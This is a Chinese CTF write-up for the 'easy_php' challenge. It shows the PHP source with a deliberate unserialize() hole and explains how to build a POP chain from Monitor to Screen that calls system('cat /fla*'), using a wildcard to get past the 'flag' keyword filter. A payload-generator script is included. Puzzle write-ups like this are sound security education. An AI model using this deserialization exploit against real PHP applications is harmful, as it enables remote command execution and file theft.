【青少年CTF S1·2026 公益赛】easy_php

张开发
2026/4/13 3:33:50 15 分钟阅读

分享文章

【青少年CTF S1·2026 公益赛】easy_php
?php // 屏蔽报错增加一点黑盒难度 error_reporting(0); // TIPS: FLAG在根目录下 class Monitor { private $status; private $reporter; public function __construct() { $this-status normal; $this-reporter new Logger(); } public function __destruct() { // 当对象销毁时如果状态是 danger则触发报警 if ($this-status danger) { $this-reporter-alert(); } } } class Logger { public function alert() { echo System normal. No alert needed.\n; } } class Screen { public $content; public $format; public function alert() { // 这里的调用看起来像是一个格式化输出 $func $this-format; return $func($this-content); } } // 入口点 if (isset($_GET[code])) { $input $_GET[code]; // 简单的过滤不允许直接输入 flag 关键字但这不影响反序列化过程 if (preg_match(/flag/i, $input)) { die(No flag here!); } unserialize($input); } else { highlight_file(__FILE__); } ?PHP 反序列化 (POP 链构造)题目入口点unserialize($_GET[code])存在反序列化漏洞。 过滤preg_match(/flag/i, $input) 禁止输入中出现 flag 字符串。那么我们先寻找利用点下面这段代码想办法把$func变成system然后$this-content变成cat /flagpublic function alert() { // 这里的调用看起来像是一个格式化输出 $func $this-format; return $func($this-content); }那么我们如何调用Screen类下的alert()函数呢可以看到在Monitor中会调用alert()函数public function __destruct() { // 当对象销毁时如果状态是 danger则触发报警 if ($this-status danger) { $this-reporter-alert(); } }但是这里有一个问题在Monitor的构造函数中发现$this-reporter new Logger()reporter会new Logger()但是这个Logger不是我们想要的public function __construct() { $this-status normal; $this-reporter new Logger(); }因此我们要想办法将Logger替换为Screen最后Monitor销毁的时候会自动调用__destruct()实现攻击思路整理如下我们需要做的事情 1、在Screen类中 将$format system 将$content cat /flag 2、在Monitor类中 将$status danger 将$reporter new Screen()我的payload如下?php class Monitor { private $status; private $reporter; public function __construct() { $this-status danger; $this-reporter new Screen(); # new 一个对象的话必须要使用__construct,不能直接赋值给静态变量 } } class Screen { public $content cat /fla*; # 通过通配符绕过flag过滤 public $format system; # 静态变量可以直接这样赋值 } $exp new Monitor(); echo(urlencode(serialize($exp))); ?下面是原作者的图这里我直接本机演示下我的payload是否可行尝试执行whoami命令是正常可用的

更多文章